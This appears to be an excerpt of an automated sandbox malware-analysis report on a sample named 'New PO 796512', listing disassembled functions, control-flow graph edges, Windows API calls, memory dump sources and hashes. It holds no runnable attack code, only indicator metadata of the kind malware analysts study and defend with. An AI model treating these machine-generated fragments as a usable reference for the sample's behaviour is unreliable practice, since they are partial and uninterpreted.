                                                                                            • Opcode Fuzzy Hash: db6ea1d2fc4be96b70cb4382f6fa072d9cc741e81614c6be601b3fb789a00b9c
                                                                                            • Instruction Fuzzy Hash: 31B1E278E002189FDB15DFA5D894AADFBB2FF89300F1091AAE809A7354DB305D46DF51
                                                                                            Function 02E3D5F0 Relevance: 6.1, APIs: 4, Instructions: 133threadCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 989 2e3d5f0-2e3d68f GetCurrentProcess 994 2e3d691-2e3d697 989->994 995 2e3d698-2e3d6cc GetCurrentThread 989->995 994->995 996 2e3d6d5-2e3d709 GetCurrentProcess 995->996 997 2e3d6ce-2e3d6d4 995->997 999 2e3d712-2e3d72d call 2e3d7d0 996->999 1000 2e3d70b-2e3d711 996->1000 997->996 1003 2e3d733-2e3d762 GetCurrentThreadId 999->1003 1000->999 1004 2e3d764-2e3d76a 1003->1004 1005 2e3d76b-2e3d7cd 1003->1005 1004->1005
                                                                                            APIs
                                                                                            • GetCurrentProcess.KERNEL32 ref: 02E3D67E
                                                                                            • GetCurrentThread.KERNEL32 ref: 02E3D6BB
                                                                                            • GetCurrentProcess.KERNEL32 ref: 02E3D6F8
                                                                                            • GetCurrentThreadId.KERNEL32 ref: 02E3D751
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000001.00000002.1363197426.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_1_2_2e30000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: Current$ProcessThread
                                                                                            • String ID:
                                                                                            • API String ID: 2063062207-0
                                                                                            • Opcode ID: 748fa41dadb3eefa8fb32fcc6eda3c052325a10436ef9d916689de4e49dea216
                                                                                            • Instruction ID: 77afc70eb357678ed3c897144956f5ec7a678230fdddacc9ccd0ed47d0d65b03
                                                                                            • Opcode Fuzzy Hash: 748fa41dadb3eefa8fb32fcc6eda3c052325a10436ef9d916689de4e49dea216
                                                                                            • Instruction Fuzzy Hash: 9E5175B09003098FDB14DFAAD989B9EBBF1FF48314F20C45AE419A72A0DB746845CF65
                                                                                            Function 02E3D600 Relevance: 6.1, APIs: 4, Instructions: 128threadCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1012 2e3d600-2e3d68f GetCurrentProcess 1016 2e3d691-2e3d697 1012->1016 1017 2e3d698-2e3d6cc GetCurrentThread 1012->1017 1016->1017 1018 2e3d6d5-2e3d709 GetCurrentProcess 1017->1018 1019 2e3d6ce-2e3d6d4 1017->1019 1021 2e3d712-2e3d72d call 2e3d7d0 1018->1021 1022 2e3d70b-2e3d711 1018->1022 1019->1018 1025 2e3d733-2e3d762 GetCurrentThreadId 1021->1025 1022->1021 1026 2e3d764-2e3d76a 1025->1026 1027 2e3d76b-2e3d7cd 1025->1027 1026->1027
                                                                                            APIs
                                                                                            • GetCurrentProcess.KERNEL32 ref: 02E3D67E
                                                                                            • GetCurrentThread.KERNEL32 ref: 02E3D6BB
                                                                                            • GetCurrentProcess.KERNEL32 ref: 02E3D6F8
                                                                                            • GetCurrentThreadId.KERNEL32 ref: 02E3D751
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000001.00000002.1363197426.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_1_2_2e30000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: Current$ProcessThread
                                                                                            • String ID:
                                                                                            • API String ID: 2063062207-0
                                                                                            • Opcode ID: c7a7303a28a55b1c3559e26ff5730bf792ad41c7abd3b6bbd934bae82b0660fa
                                                                                            • Instruction ID: ed102590b5f64d6c4195ccb63a9a8b1d8d469da48ad9c3347888ad867ea00fb4
                                                                                            • Opcode Fuzzy Hash: c7a7303a28a55b1c3559e26ff5730bf792ad41c7abd3b6bbd934bae82b0660fa
                                                                                            • Instruction Fuzzy Hash: 825174B09003098FDB14DFAAD989B9EBBF1FF48314F20C45AE419A72A0DB746945CF65
                                                                                            Function 06AC3750 Relevance: 3.0, Strings: 2, Instructions: 461COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1057 6ac3750-6ac3762 1058 6ac378c-6ac3790 1057->1058 1059 6ac3764-6ac3785 1057->1059 1060 6ac379c-6ac37ab 1058->1060 1061 6ac3792-6ac3794 1058->1061 1059->1058 1062 6ac37ad 1060->1062 1063 6ac37b7-6ac37e3 1060->1063 1061->1060 1062->1063 1067 6ac37e9-6ac37ef 1063->1067 1068 6ac3a04-6ac3a4f 1063->1068 1070 6ac38b8-6ac38bc 1067->1070 1071 6ac37f5-6ac37fb 1067->1071 1097 6ac3a65-6ac3a71 1068->1097 1098 6ac3a51 1068->1098 1072 6ac38be-6ac38c7 1070->1072 1073 6ac38e1-6ac38ea 1070->1073 1071->1068 1075 6ac3801-6ac3810 1071->1075 1072->1068 1078 6ac38cd-6ac38df 1072->1078 1079 6ac38ec-6ac38f8 1073->1079 1080 6ac390f-6ac3912 1073->1080 1076 6ac3816-6ac3822 1075->1076 1077 6ac3897-6ac38a0 1075->1077 1076->1068 1081 6ac3828-6ac383f 1076->1081 1077->1068 1083 6ac38a6-6ac38b2 1077->1083 1082 6ac3915-6ac391b 1078->1082 1093 6ac3900-6ac390c 1079->1093 1080->1082 1085 6ac384b-6ac385d 1081->1085 1086 6ac3841 1081->1086 1082->1068 1087 6ac3921-6ac3936 1082->1087 1083->1070 1083->1071 1085->1077 1096 6ac385f-6ac3865 1085->1096 1086->1085 1087->1068 1089 6ac393c-6ac394e 1087->1089 1089->1068 1091 6ac3954-6ac3961 1089->1091 1091->1068 1095 6ac3967-6ac397e 1091->1095 1093->1080 1095->1068 1108 6ac3984-6ac399c 1095->1108 1099 6ac3867 1096->1099 1100 6ac3871-6ac3877 1096->1100 1102 6ac3a7d-6ac3a99 1097->1102 1103 6ac3a73 1097->1103 1101 6ac3a54-6ac3a56 1098->1101 1099->1100 1100->1068 1105 6ac387d-6ac3894 1100->1105 1106 6ac3a58-6ac3a63 1101->1106 1107 6ac3a9a-6ac3ad7 1101->1107 1103->1102 1106->1097 1106->1101 1117 6ac3ad9-6ac3adc 1107->1117 1118 6ac3af3-6ac3aff 1107->1118 1108->1068 1109 6ac399e-6ac39a9 1108->1109 1111 6ac39fa-6ac3a01 1109->1111 1112 6ac39ab-6ac39b5 1109->1112 1112->1111 1119 6ac39b7-6ac39cd 1112->1119 1120 6ac3adf-6ac3af1 1117->1120 1121 6ac3b0b-6ac3b30 1118->1121 1122 6ac3b01 1118->1122 1124 6ac39cf 1119->1124 1125 6ac39d9-6ac39f2 1119->1125 1120->1118 1120->1120 1129 6ac3ba4-6ac3baa 1121->1129 1130 6ac3b32-6ac3b38 1121->1130 1122->1121 1124->1125 1125->1111 1132 6ac3bac-6ac3baf 1129->1132 1133 6ac3bf7-6ac3c11 1129->1133 1130->1129 1134 6ac3b3a-6ac3b3d 1130->1134 1135 6ac3c14-6ac3c39 1132->1135 1136 6ac3bb1-6ac3bbe 1132->1136 1134->1135 1137 6ac3b43-6ac3b50 1134->1137 1148 6ac3c3b-6ac3c41 1135->1148 1149 6ac3c47-6ac3c4b 1135->1149 1138 6ac3bc0-6ac3bd8 1136->1138 1139 6ac3bf1-6ac3bf5 1136->1139 1141 6ac3b9e-6ac3ba2 1137->1141 1142 6ac3b52-6ac3b7c 1137->1142 1138->1135 1146 6ac3bda-6ac3bed 1138->1146 1139->1132 1139->1133 1141->1129 1141->1134 1143 6ac3b7e 1142->1143 1144 6ac3b88-6ac3b9b 1142->1144 1143->1144 1144->1141 1146->1139 1151 6ac3c45 1148->1151 1152 6ac3c43 1148->1152 1153 6ac3c4d-6ac3c5d 1149->1153 1154 6ac3c71-6ac3c76 1149->1154 1151->1149 1152->1149 1153->1154 1156 6ac3c5f-6ac3c70 1153->1156
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000001.00000002.1367625752.0000000006AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AC0000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_1_2_6ac0000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: (q$d
                                                                                            • API String ID: 0-1617062230
                                                                                            • Opcode ID: 0505e593d7ac6161bc4c6d408923c5686e187543fac81dea865bdf424e83cf62
                                                                                            • Instruction ID: 1b740673b5f2be093e3aefb72b9333c5dc4d69e2e6407e67a7e9687bf77a1420
                                                                                            • Opcode Fuzzy Hash: 0505e593d7ac6161bc4c6d408923c5686e187543fac81dea865bdf424e83cf62
                                                                                            • Instruction Fuzzy Hash: 15023634A006058FDB64DF19C484A6AFBF2FF88324B15C669D85A9B765DB30FC46CB90
                                                                                            Function 06B498E0 Relevance: 2.8, Strings: 2, Instructions: 337COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1158 6b498e0-6b4994b 1163 6b49cc5-6b49ccc 1158->1163 1164 6b49951-6b4995a 1158->1164 1165 6b49960-6b49988 1164->1165 1166 6b49ccd-6b49cd9 1164->1166 1170 6b4998a-6b499a4 1165->1170 1171 6b499bb-6b499f4 1165->1171 1170->1166 1174 6b499aa-6b499b9 1170->1174 1179 6b499f6-6b499fc 1171->1179 1180 6b49a0c-6b49a2b 1171->1180 1174->1171 1181 6b49a00-6b49a02 1179->1181 1182 6b499fe 1179->1182 1185 6b49a51-6b49a8e 1180->1185 1186 6b49a2d-6b49a42 1180->1186 1181->1180 1182->1180 1196 6b49a90-6b49a96 1185->1196 1197 6b49ab8-6b49b26 1185->1197 1191 6b49c94-6b49cbf 1186->1191 1191->1163 1191->1164 1196->1166 1199 6b49a9c-6b49ab6 1196->1199 1207 6b49b54-6b49b57 1197->1207 1208 6b49b28-6b49b4e 1197->1208 1199->1196 1199->1197 1209 6b49b85-6b49b88 1207->1209 1210 6b49b59-6b49b7f 1207->1210 1208->1207 1211 6b49bb6-6b49bb9 1209->1211 1212 6b49b8a-6b49bb0 1209->1212 1210->1209 1213 6b49bf8-6b49bfc 1211->1213 1214 6b49bbb-6b49bc3 1211->1214 1212->1211 1216 6b49c15-6b49c21 1213->1216 1217 6b49bfe-6b49c13 1213->1217 1214->1213 1215 6b49bc5-6b49bf6 1214->1215 1215->1213 1218 6b49c2a-6b49c83 1216->1218 1217->1218 1222 6b49c8b 1218->1222 1222->1191
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000001.00000002.1367665805.0000000006B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B40000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_1_2_6b40000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: 4'q$pq
                                                                                            • API String ID: 0-2294260830
                                                                                            • Opcode ID: c902fb5f20d9cceb171bc770a02591210e9c821980a8c2d0172e6a13e757f540
                                                                                            • Instruction ID: 65c35c1c2401fff1aaf983e047678aa06e016bb9ff398e7e133948441a535fe9
                                                                                            • Opcode Fuzzy Hash: c902fb5f20d9cceb171bc770a02591210e9c821980a8c2d0172e6a13e757f540
                                                                                            • Instruction Fuzzy Hash: 12D1F976A00204DFDB45EF98C984E59BBB2FF4D314B168098E6099F276CB32EC55EB40
                                                                                            Function 05ACE848 Relevance: 2.7, Strings: 2, Instructions: 166COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1223 5ace848-5ace857 1224 5ace87c-5ace8d0 1223->1224 1225 5ace859-5ace863 1223->1225 1232 5ace8d6-5ace8da 1224->1232 1233 5aceaf2 1224->1233 1226 5ace878-5ace87b 1225->1226 1227 5ace865-5ace876 1225->1227 1227->1226 1234 5aceaeb-5aceaed 1232->1234 1235 5ace8e0-5ace8e4 1232->1235 1238 5aceaf7-5aceb17 1233->1238 1237 5acea2e-5acea34 1234->1237 1235->1233 1236 5ace8ea-5ace918 1235->1236 1243 5ace91f-5ace921 1236->1243 1267 5ace927 call 5aceca8 1243->1267 1268 5ace927 call 5acecb8 1243->1268 1244 5ace92d-5ace931 1244->1238 1245 5ace937-5ace960 1244->1245 1245->1238 1249 5ace966-5ace98f 1245->1249 1249->1238 1253 5ace995-5ace9be 1249->1253 1253->1238 1257 5ace9c4-5acea17 1253->1257 1264 5acea1d-5acea23 1257->1264 1265 5aceae4-5aceae6 1257->1265 1264->1233 1266 5acea29 1264->1266 1265->1237 1266->1237 1267->1244 1268->1244
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000001.00000002.1366515080.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_1_2_5ac0000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: D$d
                                                                                            • API String ID: 0-870693097
                                                                                            • Opcode ID: f156251bf8dd1b5d2f2d18ebec052830b281352bfef7bb0a2e7a2e3a763452a1
                                                                                            • Instruction ID: a3d4f28bc25a29094ccc2444c0a88e3382ce7bc5d106a944afd9ce6b0e7c67ab
                                                                                            • Opcode Fuzzy Hash: f156251bf8dd1b5d2f2d18ebec052830b281352bfef7bb0a2e7a2e3a763452a1
                                                                                            • Instruction Fuzzy Hash: FF51E134B002508FD745AB78E819A697BE7FBC8315F0980A9D51ADB391DF76DC02CB51
                                                                                            Function 06ACEEB0 Relevance: 2.6, Strings: 2, Instructions: 118COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1269 6aceeb0-6aceecc 1270 6acef7f-6acefa4 1269->1270 1271 6aceed2-6aceed4 1269->1271 1273 6acefab-6aceff3 1270->1273 1272 6aceeda 1271->1272 1271->1273 1275 6aceee0-6aceeee 1272->1275 1289 6acf00a-6acf020 1273->1289 1290 6aceff5-6acefff 1273->1290 1281 6acef30-6acef43 1275->1281 1282 6aceef0-6acef07 1275->1282 1284 6acef45-6acef49 1281->1284 1293 6acef09-6acef21 1282->1293 1294 6acef23-6acef2e 1282->1294 1285 6acef4b 1284->1285 1286 6acef54-6acef55 1284->1286 1285->1286 1286->1270 1299 6acf022-6acf048 1289->1299 1290->1289 1297 6acf001-6acf008 1290->1297 1293->1284 1294->1281 1294->1282 1297->1299
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000001.00000002.1367625752.0000000006AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AC0000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_1_2_6ac0000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: (q$(q
                                                                                            • API String ID: 0-2485164810
                                                                                            • Opcode ID: 15300088f3bc737f3f28999e7c5326adb7b4b5ba68e95a33cd1707bd00ea2507
                                                                                            • Instruction ID: 20e6a706e9e28e3c79b4e66698426dcdb2eb55bdd3f453b569c4d00d947f7e8e
                                                                                            • Opcode Fuzzy Hash: 15300088f3bc737f3f28999e7c5326adb7b4b5ba68e95a33cd1707bd00ea2507
                                                                                            • Instruction Fuzzy Hash: 5241D231B006118FDB59EF25E91466EBBF2AF88611B14856DD40AEB394DF32DD06CBD0
                                                                                            Function 06B47A21 Relevance: 2.6, Strings: 2, Instructions: 112COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1304 6b47a21-6b47a85 1309 6b47b91-6b47b9c 1304->1309 1310 6b47a8b-6b47af8 1304->1310 1318 6b47b3d-6b47b70 1310->1318 1319 6b47afa-6b47b10 1310->1319 1328 6b47b77-6b47b89 1318->1328 1322 6b47b12 1319->1322 1323 6b47b19-6b47b3a 1319->1323 1322->1323 1323->1318 1328->1309
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000001.00000002.1367665805.0000000006B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B40000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_1_2_6b40000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: +6$K6
                                                                                            • API String ID: 0-338352237
                                                                                            • Opcode ID: 0f0b8cf68b9391462baa556429beb4689ef005e53073941f93e43288c9c481af
                                                                                            • Instruction ID: 790ab20354fa463a3ea5dfb581ed61835ffb7260352c60a21cfa7562855f6477
                                                                                            • Opcode Fuzzy Hash: 0f0b8cf68b9391462baa556429beb4689ef005e53073941f93e43288c9c481af
                                                                                            • Instruction Fuzzy Hash: 40417D71A006099FDB45EF69D99099EBBF2FF88300B108569E905EB354EB71ED05CB90
                                                                                            Function 06B47A30 Relevance: 2.6, Strings: 2, Instructions: 110COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1330 6b47a30-6b47a85 1335 6b47b91-6b47b9c 1330->1335 1336 6b47a8b-6b47af8 1330->1336 1344 6b47b3d-6b47b70 1336->1344 1345 6b47afa-6b47b10 1336->1345 1354 6b47b77-6b47b89 1344->1354 1348 6b47b12 1345->1348 1349 6b47b19-6b47b3a 1345->1349 1348->1349 1349->1344 1354->1335
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000001.00000002.1367665805.0000000006B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B40000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_1_2_6b40000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: +6$K6
                                                                                            • API String ID: 0-338352237
                                                                                            • Opcode ID: b89bf98c6dd9afe8259d3a5ce037de66d7b92d080f3da62bc0b181a15edeea32
                                                                                            • Instruction ID: 770892f66eb9d5808f2469f9333d9f979c5838c3b0f7d6e6265a4b917fb6d343
                                                                                            • Opcode Fuzzy Hash: b89bf98c6dd9afe8259d3a5ce037de66d7b92d080f3da62bc0b181a15edeea32
                                                                                            • Instruction Fuzzy Hash: 09418C71A006099FDB45EF69D99099EBBF2FF88300B108569E805EB354EB71ED05CB90
                                                                                            Function 05ACBA78 Relevance: 1.8, Strings: 1, Instructions: 597COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1356 5acba78-5acba7f 1357 5acba8d 1356->1357 1358 5acba81-5acba8b 1356->1358 1359 5acba8f-5acba91 1357->1359 1358->1359 1360 5acbae9-5acbaec 1359->1360 1361 5acba93-5acbab2 call 5acadf0 1359->1361 1365 5acbac8-5acbae7 1361->1365 1366 5acbab4-5acbac6 1361->1366 1365->1360 1370 5acbaed-5acbb43 1365->1370 1366->1365 1375 5acbb54 1370->1375 1376 5acbb45-5acbb52 1370->1376 1377 5acbb56-5acbb58 1375->1377 1376->1377 1378 5acbb5a-5acbb90 call 5acadf0 1377->1378 1379 5acbb92-5acbbc0 1377->1379 1385 5acbbc2-5acbc0c call 5ac6020 call 5ac62b0 1378->1385 1379->1385 1392 5acbc0e-5acbc10 1385->1392 1393 5acbc12-5acbc15 1385->1393 1394 5acbc18-5acbc79 call 5ac8c58 call 5ac7b90 1392->1394 1393->1394 1402 5acbc81-5acbc92 1394->1402 1403 5acbc98-5acbca4 1402->1403 1404 5acbdeb-5acbdef 1402->1404 1407 5acbca6-5acbcab 1403->1407 1408 5acbcb3-5acbcbc 1403->1408 1405 5acbe00 1404->1405 1406 5acbdf1-5acbdfe 1404->1406 1411 5acbe02-5acbe04 1405->1411 1406->1411 1407->1408 1409 5acbe3c-5acbeb2 1408->1409 1410 5acbcc2-5acbce7 1408->1410 1423 5acbeb8 1409->1423 1424 5acbeb4-5acbeb6 1409->1424 1410->1409 1418 5acbced-5acbd95 call 5ac0448 1410->1418 1412 5acbe1b-5acbe27 1411->1412 1413 5acbe06-5acbe19 call 5acadf0 1411->1413 1421 5acbe2f-5acbe39 1412->1421 1413->1421 1503 5acbd97-5acbdbf call 5ac08e0 * 2 1418->1503 1504 5acbdc1 1418->1504 1426 5acbebb-5acbf0d call 5ac8c58 1423->1426 1424->1426 1432 5acc1a6-5acc1b9 1426->1432 1433 5acbf13-5acbf24 1426->1433 1437 5acc1c0 1432->1437 1435 5acbf3e-5acbf45 1433->1435 1436 5acbf26-5acbf39 1433->1436 1438 5acbf4b-5acbf51 1435->1438 1439 5acbff4-5acbffa 1435->1439 1436->1437 1438->1439 1441 5acbf57-5acbf60 1438->1441 1442 5acc000-5acc009 1439->1442 1443 5acc0f2-5acc0ff 1439->1443 1445 5acbf6f-5acbf75 1441->1445 1446 5acbf62-5acbf67 1441->1446 1447 5acc018-5acc01e 1442->1447 1448 5acc00b-5acc010 1442->1448 1456 5acc185-5acc189 1443->1456 1457 5acc105-5acc10c 1443->1457 1449 5acc1bb 1445->1449 1450 5acbf7b-5acbf81 1445->1450 1446->1445 1447->1449 1452 5acc024-5acc02a 1447->1452 1448->1447 1449->1437 1454 5acbf8f 1450->1454 1455 5acbf83-5acbf8d 1450->1455 1458 5acc02c-5acc036 1452->1458 1459 5acc038 1452->1459 1461 5acbf91-5acbf93 1454->1461 1455->1461 1466 5acc191-5acc1a0 1456->1466 1462 5acc10e-5acc110 1457->1462 1463 5acc112-5acc11b 1457->1463 1460 5acc03a-5acc03c 1458->1460 1459->1460 1460->1443 1464 5acc042-5acc04b 1460->1464 1461->1439 1467 5acbf95-5acbf9e 1461->1467 1468 5acc126-5acc128 1462->1468 1463->1449 1469 5acc121 1463->1469 1472 5acc04d-5acc052 1464->1472 1473 5acc05a-5acc060 1464->1473 1466->1432 1466->1433 1474 5acbfad-5acbfb3 1467->1474 1475 5acbfa0-5acbfa5 1467->1475 1470 5acc14f-5acc153 1468->1470 1471 5acc12a-5acc136 1468->1471 1469->1468 1478 5acc16b-5acc183 1470->1478 1479 5acc155-5acc164 1470->1479 1471->1449 1476 5acc13c-5acc14d 1471->1476 1472->1473 1473->1449 1480 5acc066-5acc06c 1473->1480 1474->1449 1477 5acbfb9-5acbfc7 1474->1477 1475->1474 1476->1456 1477->1439 1490 5acbfc9-5acbfd2 1477->1490 1478->1437 1479->1478 1483 5acc166-5acc169 1479->1483 1484 5acc06e-5acc078 1480->1484 1485 5acc07a 1480->1485 1483->1456 1488 5acc07c-5acc07e 1484->1488 1485->1488 1492 5acc0b4-5acc0c3 1488->1492 1493 5acc080-5acc089 1488->1493 1496 5acbfd4-5acbfd9 1490->1496 1497 5acbfe1-5acbfe7 1490->1497 1494 5acc0c5-5acc0ca 1492->1494 1495 5acc0d2-5acc0d8 1492->1495 1499 5acc098-5acc09e 1493->1499 1500 5acc08b-5acc090 1493->1500 1494->1495 1495->1449 1501 5acc0de-5acc0ed 1495->1501 1496->1497 1497->1449 1502 5acbfed-5acbff1 1497->1502 1499->1449 1505 5acc0a4-5acc0b2 1499->1505 1500->1499 1501->1466 1502->1439 1506 5acbdc3-5acbdc7 1503->1506 1504->1506 1505->1443 1505->1492 1509 5acbdce-5acbddf 1506->1509 1510 5acbdc9-5acbdcc 1506->1510 1513 5acbde2-5acbde5 1509->1513 1510->1513 1513->1403 1513->1404
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000001.00000002.1366515080.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_1_2_5ac0000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: Hbq
                                                                                            • API String ID: 0-2269934739
                                                                                            • Opcode ID: d3775858916b59a167e6ff1604768a899036dc4a628bacb69c5b502746dbfd66
                                                                                            • Instruction ID: be0be058072685e668b34f83408ceeacb68dc902aafe6a0098e22f2b8668a7c4
                                                                                            • Opcode Fuzzy Hash: d3775858916b59a167e6ff1604768a899036dc4a628bacb69c5b502746dbfd66
                                                                                            • Instruction Fuzzy Hash: 7D425B74A002099FCB15CF68C594EAEBBF2BF48310F558599E819AB361DB31ED41CFA0
                                                                                            Function 02E3B357 Relevance: 1.7, APIs: 1, Instructions: 203COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1676 2e3b357-2e3b377 1677 2e3b3a3-2e3b3a7 1676->1677 1678 2e3b379-2e3b386 call 2e3aff8 1676->1678 1680 2e3b3bb-2e3b3fc 1677->1680 1681 2e3b3a9-2e3b3b3 1677->1681 1684 2e3b388 1678->1684 1685 2e3b39c 1678->1685 1687 2e3b409-2e3b417 1680->1687 1688 2e3b3fe-2e3b406 1680->1688 1681->1680 1734 2e3b38e call 2e3b600 1684->1734 1735 2e3b38e call 2e3b5f0 1684->1735 1685->1677 1689 2e3b43b-2e3b43d 1687->1689 1690 2e3b419-2e3b41e 1687->1690 1688->1687 1695 2e3b440-2e3b447 1689->1695 1692 2e3b420-2e3b427 call 2e3b004 1690->1692 1693 2e3b429 1690->1693 1691 2e3b394-2e3b396 1691->1685 1694 2e3b4d8-2e3b598 1691->1694 1697 2e3b42b-2e3b439 1692->1697 1693->1697 1727 2e3b5a0-2e3b5cb GetModuleHandleW 1694->1727 1728 2e3b59a-2e3b59d 1694->1728 1698 2e3b454-2e3b45b 1695->1698 1699 2e3b449-2e3b451 1695->1699 1697->1695 1700 2e3b468-2e3b471 call 2e3b014 1698->1700 1701 2e3b45d-2e3b465 1698->1701 1699->1698 1707 2e3b473-2e3b47b 1700->1707 1708 2e3b47e-2e3b483 1700->1708 1701->1700 1707->1708 1709 2e3b4a1-2e3b4a5 1708->1709 1710 2e3b485-2e3b48c 1708->1710 1732 2e3b4a8 call 2e3b8f1 1709->1732 1733 2e3b4a8 call 2e3b900 1709->1733 1710->1709 1712 2e3b48e-2e3b49e call 2e3b024 call 2e3b034 1710->1712 1712->1709 1715 2e3b4ab-2e3b4ae 1717 2e3b4d1-2e3b4d7 1715->1717 1718 2e3b4b0-2e3b4ce 1715->1718 1718->1717 1729 2e3b5d4-2e3b5e8 1727->1729 1730 2e3b5cd-2e3b5d3 1727->1730 1728->1727 1730->1729 1732->1715 1733->1715 1734->1691 1735->1691
                                                                                            APIs
                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 02E3B5BE
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000001.00000002.1363197426.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_1_2_2e30000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: HandleModule
                                                                                            • String ID:
                                                                                            • API String ID: 4139908857-0
                                                                                            • Opcode ID: 461403037e23bb6a23c12dd67ebd222381463e2a95d980e7f8aed70f67cca5f2
                                                                                            • Instruction ID: 6f7c135eda49240cd04ce5e0e1979328c3f9f42c9db414428b2aa3f46fef220f
                                                                                            • Opcode Fuzzy Hash: 461403037e23bb6a23c12dd67ebd222381463e2a95d980e7f8aed70f67cca5f2
                                                                                            • Instruction Fuzzy Hash: BE817670A00B058FD725DF29C45975ABBF2FF88319F00892DD48ADBA50EB74E845CB94
                                                                                            Function 02E3590C Relevance: 1.6, APIs: 1, Instructions: 124COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1736 2e3590c-2e35914 1737 2e358b0-2e358d9 1736->1737 1738 2e35916-2e359d9 CreateActCtxA 1736->1738 1741 2e358e2-2e35903 1737->1741 1742 2e358db-2e358e1 1737->1742 1743 2e359e2-2e35a3c 1738->1743 1744 2e359db-2e359e1 1738->1744 1742->1741 1752 2e35a4b-2e35a4f 1743->1752 1753 2e35a3e-2e35a41 1743->1753 1744->1743 1754 2e35a51-2e35a5d 1752->1754 1755 2e35a60-2e35a90 1752->1755 1753->1752 1754->1755 1759 2e35a42-2e35a4a 1755->1759 1760 2e35a92-2e35b14 1755->1760 1759->1752 1763 2e359cf-2e359d9 1759->1763 1763->1743 1763->1744
                                                                                            APIs
                                                                                            • CreateActCtxA.KERNEL32(?), ref: 02E359C9
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000001.00000002.1363197426.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_1_2_2e30000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: Create
                                                                                            • String ID:
                                                                                            • API String ID: 2289755597-0
                                                                                            • Opcode ID: 511fbaab91f78b1afc2f2e8d94a946c24b4cc11322c467ceac4907a5fe08a3fb
                                                                                            • Instruction ID: 7130258c2deea549898d6fdaffa66267bf9e923a0eefebc4a3845b34f1ede04b
                                                                                            • Opcode Fuzzy Hash: 511fbaab91f78b1afc2f2e8d94a946c24b4cc11322c467ceac4907a5fe08a3fb
